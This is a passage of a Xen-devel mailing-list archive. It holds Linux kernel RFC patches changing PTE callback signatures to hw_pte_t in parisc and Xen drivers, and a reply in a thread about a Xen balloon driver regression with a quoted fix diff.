	Christoph Lameter <cl@gentwo.org>,
	Mike Rapoport <rppt@kernel.org>,
	Johannes Weiner <hannes@cmpxchg.org>,
	ziy@nvidia.com,
	pfalcato@suse.de,
	agordeev@linux.ibm.com,
	ryan.roberts@arm.com
Cc: Muhammad Usama Anjum <usama.anjum@arm.com>,
	linux-kernel@vger.kernel.org,
	intel-gfx@lists.freedesktop.org,
	dri-devel@lists.freedesktop.org,
	linux-parisc@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-mm@kvack.org,
	linux-fsdevel@vger.kernel.org,
	linux-arch@vger.kernel.org,
	kasan-dev@googlegroups.com,
	linux-trace-kernel@vger.kernel.org,
	bpf@vger.kernel.org,
	linux-perf-users@vger.kernel.org,
	damon@lists.linux.dev
Subject: [PATCH RFC 10/11] parisc: use hw_pte_t for the data-break callback
Date: Mon, 27 Jul 2026 17:47:01 +0100
Message-ID: <20260727164715.2866609-11-usama.anjum@arm.com>
X-Mailer: git-send-email 2.47.3
In-Reply-To: <20260727164715.2866609-1-usama.anjum@arm.com>
References: <20260727164715.2866609-1-usama.anjum@arm.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-42698a/1785170947-2C39B9EA-83E6FEF4/0/0
X-purgate-type: clean
X-purgate-size: 1163

The DEBUG_DMB_TRAP path passes set_data_memory_break() to iterate_pages()
for PTE table storage. Update the local set_data_memory_break() declaration
to take hw_pte_t * so its argument is identified as table storage.

The generic hw_pte_t alias makes this a type-only change.

Signed-off-by: Muhammad Usama Anjum <usama.anjum@arm.com>
---
 drivers/parisc/sba_iommu.c | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/drivers/parisc/sba_iommu.c b/drivers/parisc/sba_iommu.c
index d9339dd508262..27a7efe3e0a70 100644
--- a/drivers/parisc/sba_iommu.c
+++ b/drivers/parisc/sba_iommu.c
@@ -1697,9 +1697,9 @@ sba_common_init(struct sba_device *sba_dev)
 		int res_size;
 #ifdef DEBUG_DMB_TRAP
 		extern void iterate_pages(unsigned long , unsigned long ,
-					  void (*)(pte_t * , unsigned long),
+					  void (*)(hw_pte_t *, unsigned long),
 					  unsigned long );
-		void set_data_memory_break(pte_t * , unsigned long);
+		void set_data_memory_break(hw_pte_t *, unsigned long);
 #endif
 		/* resource map size dictated by pdir_size */
 		res_size = sba_dev->ioc[i].pdir_size/sizeof(u64); /* entries */
-- 
2.47.3



From xen-devel-bounces@lists.xenproject.org Mon Jul 27 16:55:55 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 27 Jul 2026 16:55:55 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1371815.1619344 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woOcM-0000dm-Qy; Mon, 27 Jul 2026 16:55:54 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1371815.1619344; Mon, 27 Jul 2026 16:55:54 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woOcM-0000ZN-9u; Mon, 27 Jul 2026 16:55:54 +0000
Received: by outflank-mailman (input) for mailman id 1371815;
 Mon, 27 Jul 2026 16:49:16 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <usama.anjum@arm.com>) id 1woOVw-0005pY-Q0
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 16:49:16 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woOVw-00CEOr-6u
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 18:49:16 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <usama.anjum@arm.com>)
 id 6a678bcf-5cb7-0a2a0a5109dd-0a2a4501c492-44
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 18:49:16 +0200
Received: from [217.140.110.172] (helo=foss.arm.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTP (eXpurgate 4.57.1)
 (envelope-from <usama.anjum@arm.com>)
 id 6a678c0b-5984-0a2a45010019-d98c6eacd992-1
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 18:49:15 +0200
Received: from usa-sjc-imap-foss1.foss.arm.com (unknown [10.121.207.14])
 by usa-sjc-mx-foss1.foss.arm.com (Postfix) with ESMTP id AD6F119F6;
 Mon, 27 Jul 2026 09:49:10 -0700 (PDT)
Received: from e142334-100.cambridge.arm.com (e142334-100.cambridge.arm.com
 [10.2.198.93])
 by usa-sjc-imap-foss1.foss.arm.com (Postfix) with ESMTPA id 24B253F86F;
 Mon, 27 Jul 2026 09:49:06 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=foss header.d=arm.com header.i="@arm.com" header.h="From:To:Cc:Subject:Date:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=arm.com; s=foss;
	t=1785170954; bh=V6zt/tVCRXmaxyFDjqVyIeLB8KQS6R6ktC8ishLU3Lk=;
	h=From:To:Cc:Subject:Date:In-Reply-To:References:From;
	b=Lb/jyoKfMHEtn+EGInX+1ShDiDJE4SKeMR6pxvOnK3LevEvIfEqty1XGjueSJSBAs
	 G42AaQQj06YclcwbnNEF+ZIACcOyOe2ZtG+CAXJ1O24QpZxYlP92nB7MGKzzIYNXvf
	 GKb3saft/JW4/CWAMTUJrteRizHdBV+a50NOn1YA=
From: Muhammad Usama Anjum <usama.anjum@arm.com>
To: Jani Nikula <jani.nikula@linux.intel.com>,
	Joonas Lahtinen <joonas.lahtinen@linux.intel.com>,
	Rodrigo Vivi <rodrigo.vivi@intel.com>,
	Tvrtko Ursulin <tursulin@ursulin.net>,
	David Airlie <airlied@gmail.com>,
	Simona Vetter <simona@ffwll.ch>,
	Dimitri Sivanich <dimitri.sivanich@hpe.com>,
	Arnd Bergmann <arnd@arndb.de>,
	Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	"James E.J. Bottomley" <James.Bottomley@HansenPartnership.com>,
	Helge Deller <deller@gmx.de>,
	Juergen Gross <jgross@suse.com>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Muchun Song <muchun.song@linux.dev>,
	Oscar Salvador <osalvador@suse.de>,
	Andrew Morton <akpm@linux-foundation.org>,
	"Liam R. Howlett" <liam@infradead.org>,
	Lorenzo Stoakes <ljs@kernel.org>,
	Will Deacon <will@kernel.org>,
	"Aneesh Kumar K.V" <aneesh.kumar@kernel.org>,
	Nick Piggin <npiggin@gmail.com>,
	Peter Zijlstra <peterz@infradead.org>,
	Andrey Ryabinin <ryabinin.a.a@gmail.com>,
	David Hildenbrand <david@kernel.org>,
	Pasha Tatashin <pasha.tatashin@soleen.com>,
	Chris Li <chrisl@kernel.org>,
	Kairui Song <kasong@tencent.com>,
	Uladzislau Rezki <urezki@gmail.com>,
	Steven Rostedt <rostedt@goodmis.org>,
	Masami Hiramatsu <mhiramat@kernel.org>,
	Alexei Starovoitov <ast@kernel.org>,
	Daniel Borkmann <daniel@iogearbox.net>,
	Andrii Nakryiko <andrii@kernel.org>,
	Eduard Zingerman <eddyz87@gmail.com>,
	Kumar Kartikeya Dwivedi <memxor@gmail.com>,
	Ingo Molnar <mingo@redhat.com>,
	Arnaldo Carvalho de Melo <acme@kernel.org>,
	Namhyung Kim <namhyung@kernel.org>,
	SJ Park <sj@kernel.org>,
	"Matthew Wilcox (Oracle)" <willy@infradead.org>,
	Jan Kara <jack@suse.cz>,
	Jason Gunthorpe <jgg@ziepe.ca>,
	Leon Romanovsky <leon@kernel.org>,
	Miaohe Lin <linmiaohe@huawei.com>,
	Dennis Zhou <dennis@kernel.org>,
	Tejun Heo <tj@kernel.org>,
	Christoph Lameter <cl@gentwo.org>,
	Mike Rapoport <rppt@kernel.org>,
	Johannes Weiner <hannes@cmpxchg.org>,
	ziy@nvidia.com,
	pfalcato@suse.de,
	agordeev@linux.ibm.com,
	ryan.roberts@arm.com
Cc: Muhammad Usama Anjum <usama.anjum@arm.com>,
	linux-kernel@vger.kernel.org,
	intel-gfx@lists.freedesktop.org,
	dri-devel@lists.freedesktop.org,
	linux-parisc@vger.kernel.org,
	xen-devel@lists.xenproject.org,
	linux-mm@kvack.org,
	linux-fsdevel@vger.kernel.org,
	linux-arch@vger.kernel.org,
	kasan-dev@googlegroups.com,
	linux-trace-kernel@vger.kernel.org,
	bpf@vger.kernel.org,
	linux-perf-users@vger.kernel.org,
	damon@lists.linux.dev
Subject: [PATCH RFC 11/11] xen: use hw_pte_t for PTE range callbacks
Date: Mon, 27 Jul 2026 17:47:02 +0100
Message-ID: <20260727164715.2866609-12-usama.anjum@arm.com>
X-Mailer: git-send-email 2.47.3
In-Reply-To: <20260727164715.2866609-1-usama.anjum@arm.com>
References: <20260727164715.2866609-1-usama.anjum@arm.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-d62444/1785170956-BFA6E757-E5D98453/0/0
X-purgate-type: clean
X-purgate-size: 3074

Generic PTE range and remapping helpers now pass pointers to PTE table
storage as hw_pte_t *. Update the callbacks to match those interfaces.

Keep logical PTE values as pte_t and continue to access them through the
existing PTE helpers.

Signed-off-by: Muhammad Usama Anjum <usama.anjum@arm.com>
---
 drivers/xen/gntdev.c               | 2 +-
 drivers/xen/privcmd.c              | 2 +-
 drivers/xen/xenbus/xenbus_client.c | 2 +-
 drivers/xen/xlate_mmu.c            | 4 ++--
 4 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/drivers/xen/gntdev.c b/drivers/xen/gntdev.c
index 1dcc4675580ed..b013bcad99b5b 100644
--- a/drivers/xen/gntdev.c
+++ b/drivers/xen/gntdev.c
@@ -301,7 +301,7 @@ void gntdev_put_map(struct gntdev_priv *priv, struct gntdev_grant_map *map)
 
 /* ------------------------------------------------------------------ */
 
-static int find_grant_ptes(pte_t *pte, unsigned long addr, void *data)
+static int find_grant_ptes(hw_pte_t *pte, unsigned long addr, void *data)
 {
 	struct gntdev_grant_map *map = data;
 	unsigned int pgnr = (addr - map->pages_vm_start) >> PAGE_SHIFT;
diff --git a/drivers/xen/privcmd.c b/drivers/xen/privcmd.c
index 725a49a0eee72..b4a487dcc9ecb 100644
--- a/drivers/xen/privcmd.c
+++ b/drivers/xen/privcmd.c
@@ -1658,7 +1658,7 @@ static int privcmd_mmap(struct file *file, struct vm_area_struct *vma)
  * on a per pfn/pte basis. Mapping calls that fail with ENOENT
  * can be then retried until success.
  */
-static int is_mapped_fn(pte_t *pte, unsigned long addr, void *data)
+static int is_mapped_fn(hw_pte_t *pte, unsigned long addr, void *data)
 {
 	return pte_none(ptep_get(pte)) ? 0 : -EBUSY;
 }
diff --git a/drivers/xen/xenbus/xenbus_client.c b/drivers/xen/xenbus/xenbus_client.c
index 27682cb5e58ab..387f97a555594 100644
--- a/drivers/xen/xenbus/xenbus_client.c
+++ b/drivers/xen/xenbus/xenbus_client.c
@@ -749,7 +749,7 @@ int xenbus_unmap_ring_vfree(struct xenbus_device *dev, void *vaddr)
 EXPORT_SYMBOL_GPL(xenbus_unmap_ring_vfree);
 
 #ifdef CONFIG_XEN_PV
-static int map_ring_apply(pte_t *pte, unsigned long addr, void *data)
+static int map_ring_apply(hw_pte_t *pte, unsigned long addr, void *data)
 {
 	struct map_ring_valloc *info = data;
 
diff --git a/drivers/xen/xlate_mmu.c b/drivers/xen/xlate_mmu.c
index 8efd7b55223fb..d7244f9f9a545 100644
--- a/drivers/xen/xlate_mmu.c
+++ b/drivers/xen/xlate_mmu.c
@@ -93,7 +93,7 @@ static void setup_hparams(unsigned long gfn, void *data)
 	info->fgfn++;
 }
 
-static int remap_pte_fn(pte_t *ptep, unsigned long addr, void *data)
+static int remap_pte_fn(hw_pte_t *ptep, unsigned long addr, void *data)
 {
 	struct remap_data *info = data;
 	struct page *page = info->pages[info->index++];
@@ -269,7 +269,7 @@ struct remap_pfn {
 	unsigned long i;
 };
 
-static int remap_pfn_fn(pte_t *ptep, unsigned long addr, void *data)
+static int remap_pfn_fn(hw_pte_t *ptep, unsigned long addr, void *data)
 {
 	struct remap_pfn *r = data;
 	struct page *page = r->pages[r->i];
-- 
2.47.3



From xen-devel-bounces@lists.xenproject.org Mon Jul 27 18:46:41 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 27 Jul 2026 18:46:41 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1371925.1619379 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woQLL-0003tL-PT; Mon, 27 Jul 2026 18:46:27 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1371925.1619379; Mon, 27 Jul 2026 18:46:27 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woQLL-0003tE-MV; Mon, 27 Jul 2026 18:46:27 +0000
Received: by outflank-mailman (input) for mailman id 1371925;
 Mon, 27 Jul 2026 17:13:22 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <yannick.martin@okazoo.eu>) id 1woOtF-0001c6-NB
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 17:13:22 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woOtF-000MZt-0N
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 19:13:21 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <yannick.martin@okazoo.eu>)
 id 6a6791ae-2eae-0a2a0a5409dd-0a2a4502af30-2
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 19:13:20 +0200
Received: from [62.210.211.125] (helo=yop24.okazoo.eu)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <yannick.martin@okazoo.eu>)
 id 6a6790fc-6ca4-0a2a45020019-3ed2d37d9f66-3
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 19:10:20 +0200
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=yop20250924 header.d=okazoo.eu header.i="@okazoo.eu" header.h="Date:From:To:CC:Subject:User-Agent:In-Reply-To:References:Message-ID:MIME-Version:Content-Type:Content-Transfer-Encoding"
Authentication-Results: yop24.okazoo.eu; arc=none smtp.remote-ip="2a01:cb01:3019:fd9:ce9c:d8bc:1d5f:86a2"
ARC-Seal: i=1; d=okazoo.eu; s=_arc_yop20260218; a=rsa-sha256; cv=none;
	t=1785172220;
	b=HFH4gozeKopYmh0ZVAnAei8sGTfTror5MSn2ixv0xIIvosUP6FklRX6nnSsZBRzqDXEm
	 oZFrhNguPBdAG4+wPW3wVIc6dZbma2B907ZcvYY0tzfGfYkW6qllgAjeQIyhXcSFKj5Zd
	 p5uWMCdzKow52wM9EbD8IJIbbZv/Nh7R8Ezzj5oR3iM5rNE+8w0NZrnEBIvcOc/qaSKez
	 fFSzBgI6N/sy5eGdHYgxPnufD/hozYWJYPArWzBIKaxltd7IYPSZAf9Zjc9bbYwALaOPq
	 95hx1JdHKAUxeVUJkhFR8B+JQLGp/IEIrh+t2WSKlP5FzT6k0sCT9Ozvw9V+Jd2fEdQ==
ARC-Message-Signature: i=1; d=okazoo.eu; s=_arc_yop20260218; a=rsa-sha256;
	c=relaxed/relaxed; t=1785172220;
	h=DKIM-Signature:Date:From:To:CC:Subject:User-Agent:In-Reply-To:
	 References:Message-ID:MIME-Version:Content-Type:
	 Content-Transfer-Encoding;
	bh=EGYuJVbvQvuUKXlCj9j7BBhC/teBJO6hWi6cmVejq0M=;
	b=DNeXWI2YxqOUeJCar9wQnPvG736n8+8ZTvDr9Y86rQRroCy27hmh06JTjhshVlenHb7n
	 AdpFdOuJCT209BtJFWD1c7qPoGzwt/QvLMLyoNKx1XfqYEPBaNtulB9CkTwalslN+xkTb
	 EHs093AUbgQkbLcDtB04+DiWJ4Uj/5JGYhY8KuGERitGbZam/vgK9WFV1G6W0jomyE6HS
	 uARAbcZDibZmYX61ytLtBRWVdiag7Ror7897LvnuAGi97U1B8w+1pPjcLULH2oKfX+Vx0
	 Z+kXW88UqGmEivAczdQiJIqJGWHZf3OnqJNlpTmqr/hD3tJvNBTNee7q+pCdDv5J+bA==
ARC-Authentication-Results: i=1; yop24.okazoo.eu; arc=none smtp.remote-ip="2a01:cb01:3019:fd9:ce9c:d8bc:1d5f:86a2"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=okazoo.eu;
	s=yop20250924; t=1785172220; r=y;
	bh=EGYuJVbvQvuUKXlCj9j7BBhC/teBJO6hWi6cmVejq0M=;
	h=Date:From:To:CC:Subject:User-Agent:In-Reply-To:References:
	 Message-ID:MIME-Version:Content-Type:Content-Transfer-Encoding;
	b=QbjioxhCK7te+WamG1ZNE36wsxNCL2IanGTjizPYCCI5T5Xr9n1vMaXk4fVOWbOhg
	 3O2SXFLQ4JJC+JUSPlkkBZiPe7ub1RIsbQA+q3MfEqiZU+5SicgaD1ZaGrLXqzX/TR
	 TbdUHgzcQNG/Ub3JouqwvLe/4W77TJXK7yM0kdsrT8Z9MQiwIUrVh31Lx2rzjhhif1
	 8ZEHlX1R4MxRtVPVbW4vwUNjLX8RlGmEvfh8nzpym0bNR/Y2EHl7CtPfb5Nb9lHs4g
	 PxUhag9g7dPmLBFQKpiAD14sCZaEG4Zp8Mxy6FU/neaBrs5m1aatt2lOxPZThyDo/U
	 4hSDeYmsLUgoA==
Date: Mon, 27 Jul 2026 19:10:17 +0200
From: Yannick Martin <yannick.martin@okazoo.eu>
To: =?ISO-8859-1?Q?Roger_Pau_Monn=E9?= <roger.pau@citrix.com>,
 Thorsten Leemhuis <regressions@leemhuis.info>
CC: Juergen Gross <jgross@suse.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>,
 Linux kernel regressions list <regressions@lists.linux.dev>,
 yannick.martin+kernelorg@okazoo.eu
Subject: Re: [regression] Bug 221745 - PV DomU ballooning driver init issue
User-Agent: K-9 Mail for Android
In-Reply-To: <ameMgwuUIhZbslHh@macbook.local>
References: <f7fe5959-f0c6-430c-8404-927d7944c836@leemhuis.info> <ameMgwuUIhZbslHh@macbook.local>
Message-ID: <519EE50D-9B83-424F-8800-B19DFA81FD79@okazoo.eu>
MIME-Version: 1.0
Content-Type: multipart/alternative;
 boundary=----RS2PCMTCU78J3Q0Z5AR98WDC2C8USN
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-720697/1785172220-F2EB32AC-429A5DF7/13/0
X-purgate-type: clean
X-purgate-size: 7318

------RS2PCMTCU78J3Q0Z5AR98WDC2C8USN
Content-Type: text/plain;
 charset=utf-8
Content-Transfer-Encoding: quoted-printable

Hello

I will try this tomorrow !

Regards

Le 27 juillet 2026 18:51:15 GMT+02:00, "Roger Pau Monn=C3=A9" <roger=2Epau=
@citrix=2Ecom> a =C3=A9crit :
>On Mon, Jul 27, 2026 at 10:42:25AM +0200, Thorsten Leemhuis wrote:
>> Hi Roger! FYI, it seems your change 0949c646d64697 ("Partial revert
>> "x86/xen: fix balloon target initialization for PVH dom0"") [v7=2E0-rc1=
]
>> caued a regression=2E For details see
>> https://bugzilla=2Ekernel=2Eorg/show_bug=2Ecgi?id=3D221745
>>=20
>> To quote the initial comment:
>>=20
>> > Since commit db8c4b1 (Partial revert "x86/xen: fix balloon target ini=
tialization for PVH dom0"), xen ballooning fails to init correctly on domU =
(on amd64 arch) with the following configuration:
>> >=20
>> > -- xl=2Ecfg
>> > =2E=2E=2E
>> > memory      =3D '2048'
>> > maxmem      =3D '4096'
>> > =2E=2E=2E
>> > --
>> >=20
>> > -- domU balloon dmesg (init fails)
>> > [    0=2E908337] xen:balloon: Initialising balloon driver
>> > [    0=2E940721] Extra pages underflow current target
>
>Yeah, I'm afraid the original fix commit didn't fully fix the issues,
>so there's the following change (chunk below) that's needed
>additionally to cope with memory !=3D maxmem on PV guests=2E
>
>I've done some basic testing and it seems to solve the issue, could
>you give it a spin also?  (just to make sure I'm not missing anything
>else)=2E
>
>Thanks, Roger=2E
>---
>diff --git a/drivers/xen/balloon=2Ec b/drivers/xen/balloon=2Ec
>index e7f1d4ca6d75=2E=2Ec20a1ff8292d 100644
>--- a/drivers/xen/balloon=2Ec
>+++ b/drivers/xen/balloon=2Ec
>@@ -703,19 +703,26 @@ static int __init balloon_add_regions(void)
> 			balloon_append(pfn_to_page(pfn));
>=20
> 		/*
>-		 * Extra regions are accounted for in the physmap, but need
>-		 * decreasing from current_pages and target_pages to balloon
>-		 * down the initial allocation, because they are already
>-		 * accounted for in total_pages=2E
>+		 * For HVM domains: extra regions are accounted for in the
>+		 * physmap, but need decreasing from current_pages and
>+		 * target_pages to balloon down the initial allocation, because
>+		 * they are already accounted for in total_pages=2E
>+		 *
>+		 * For PV domains: extra regions are not accounted for in the
>+		 * initial memory target, and hence need adding to the stats as
>+		 * additional unpopulated regions=2E
> 		 */
> 		pages =3D extra_pfn_end - start_pfn;
>-		if (pages >=3D balloon_stats=2Ecurrent_pages ||
>-		    pages >=3D balloon_stats=2Etarget_pages) {
>+		if (xen_pv_domain()) {
>+			balloon_stats=2Etotal_pages +=3D pages;
>+		} else if (pages >=3D balloon_stats=2Ecurrent_pages ||
>+		           pages >=3D balloon_stats=2Etarget_pages) {
> 			WARN(1, "Extra pages underflow current target");
> 			return -ERANGE;
>+		} else {
>+			balloon_stats=2Ecurrent_pages -=3D pages;
>+			balloon_stats=2Etarget_pages -=3D pages;
> 		}
>-		balloon_stats=2Ecurrent_pages -=3D pages;
>-		balloon_stats=2Etarget_pages -=3D pages;
> 	}
>=20
> 	return 0;

------RS2PCMTCU78J3Q0Z5AR98WDC2C8USN
Content-Type: text/html;
 charset=utf-8
Content-Transfer-Encoding: quoted-printable

<html><head></head><body><div dir=3D"auto">Hello<br><br>I will try this tom=
orrow !<br><br>Regards</div><br><br><div class=3D"gmail_quote"><div dir=3D"=
auto">Le 27 juillet 2026 18:51:15 GMT+02:00, "Roger Pau Monn=C3=A9" &lt;rog=
er=2Epau@citrix=2Ecom&gt; a =C3=A9crit :</div><blockquote class=3D"gmail_qu=
ote" style=3D"margin: 0pt 0pt 0pt 0=2E8ex; border-left: 1px solid rgb(204, =
204, 204); padding-left: 1ex;">
<pre class=3D"com-fsck-k9__plain-text-message-pre"><div dir=3D"auto">On Mo=
n, Jul 27, 2026 at 10:42:25AM +0200, Thorsten Leemhuis wrote:<br></div><blo=
ckquote class=3D"gmail_quote" style=3D"margin-bottom: 1ex; --com-fsck-k9__b=
lockquote-default-border-color: #729fcf;"><div dir=3D"auto">Hi Roger! FYI, =
it seems your change 0949c646d64697 ("Partial revert<br>"x86/xen: fix ballo=
on target initialization for PVH dom0"") [v7=2E0-rc1]<br>caued a regression=
=2E For details see<br><a href=3D"https://bugzilla=2Ekernel=2Eorg/show_bug=
=2Ecgi?id=3D221745">https://bugzilla=2Ekernel=2Eorg/show_bug=2Ecgi?id=3D221=
745</a><br><br>To quote the initial comment:<br><br></div><blockquote class=
=3D"gmail_quote" style=3D"margin-bottom: 1ex; --com-fsck-k9__blockquote-def=
ault-border-color: #ad7fa8;"><div dir=3D"auto">Since commit db8c4b1 (Partia=
l revert "x86/xen: fix balloon target initialization for PVH dom0"), xen ba=
llooning fails to init correctly on domU (on amd64 arch) with the following=
 configuration:<br><br>-- xl=2Ecfg<br>=2E=2E=2E<br>memory      =3D '2048'<b=
r>maxmem      =3D '4096'<br>=2E=2E=2E<br>--<br><br>-- domU balloon dmesg (i=
nit fails)<br>[    0=2E908337] xen:balloon: Initialising balloon driver<br>=
[    0=2E940721] Extra pages underflow current target<br></div></blockquote=
></blockquote><div dir=3D"auto"><br>Yeah, I'm afraid the original fix commi=
t didn't fully fix the issues,<br>so there's the following change (chunk be=
low) that's needed<br>additionally to cope with memory !=3D maxmem on PV gu=
ests=2E<br><br>I've done some basic testing and it seems to solve the issue=
, could<br>you give it a spin also?  (just to make sure I'm not missing any=
thing<br>else)=2E<br><br>Thanks, Roger=2E<hr>diff --git a/drivers/xen/ballo=
on=2Ec b/drivers/xen/balloon=2Ec<br>index e7f1d4ca6d75=2E=2Ec20a1ff8292d 10=
0644<br>--- a/drivers/xen/balloon=2Ec<br>+++ b/drivers/xen/balloon=2Ec<br>@=
@ -703,19 +703,26 @@ static int __init balloon_add_regions(void)<br> 			bal=
loon_append(pfn_to_page(pfn));<br> <br> 		/*<br>-		 * Extra regions are acc=
ounted for in the physmap, but need<br>-		 * decreasing from current_pages =
and target_pages to balloon<br>-		 * down the initial allocation, because t=
hey are already<br>-		 * accounted for in total_pages=2E<br>+		 * For HVM d=
omains: extra regions are accounted for in the<br>+		 * physmap, but need d=
ecreasing from current_pages and<br>+		 * target_pages to balloon down the =
initial allocation, because<br>+		 * they are already accounted for in tota=
l_pages=2E<br>+		 *<br>+		 * For PV domains: extra regions are not accounte=
d for in the<br>+		 * initial memory target, and hence need adding to the s=
tats as<br>+		 * additional unpopulated regions=2E<br> 		 */<br> 		pages =
=3D extra_pfn_end - start_pfn;<br>-		if (pages &gt;=3D balloon_stats=2Ecurr=
ent_pages ||<br>-		    pages &gt;=3D balloon_stats=2Etarget_pages) {<br>+		=
if (xen_pv_domain()) {<br>+			balloon_stats=2Etotal_pages +=3D pages;<br>+	=
	} else if (pages &gt;=3D balloon_stats=2Ecurrent_pages ||<br>+		          =
 pages &gt;=3D balloon_stats=2Etarget_pages) {<br> 			WARN(1, "Extra pages =
underflow current target");<br> 			return -ERANGE;<br>+		} else {<br>+			ba=
lloon_stats=2Ecurrent_pages -=3D pages;<br>+			balloon_stats=2Etarget_pages=
 -=3D pages;<br> 		}<br>-		balloon_stats=2Ecurrent_pages -=3D pages;<br>-		=
balloon_stats=2Etarget_pages -=3D pages;<br> 	}<br> <br> 	return 0;<br></di=
v></pre></blockquote></div></body></html>
------RS2PCMTCU78J3Q0Z5AR98WDC2C8USN--


From xen-devel-bounces@lists.xenproject.org Mon Jul 27 23:18:31 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 27 Jul 2026 23:18:31 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1371973.1619387 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woUaK-0000Yf-0Z; Mon, 27 Jul 2026 23:18:12 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1371973.1619387; Mon, 27 Jul 2026 23:18:11 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woUaJ-0000YX-T0; Mon, 27 Jul 2026 23:18:11 +0000
Received: by outflank-mailman (input) for mailman id 1371973;
 Mon, 27 Jul 2026 23:18:11 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <taka@valinux.co.jp>) id 1woUaH-0000YR-VI
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 23:18:11 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woUaF-00Csau-0t
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 01:18:07 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a67e710-e002-0a2a0a5209dd-0a2a45019cbc-10
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 01:18:06 +0200
Received: from [52.101.228.142]
 (helo=OS0P286CU011.outbound.protection.outlook.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
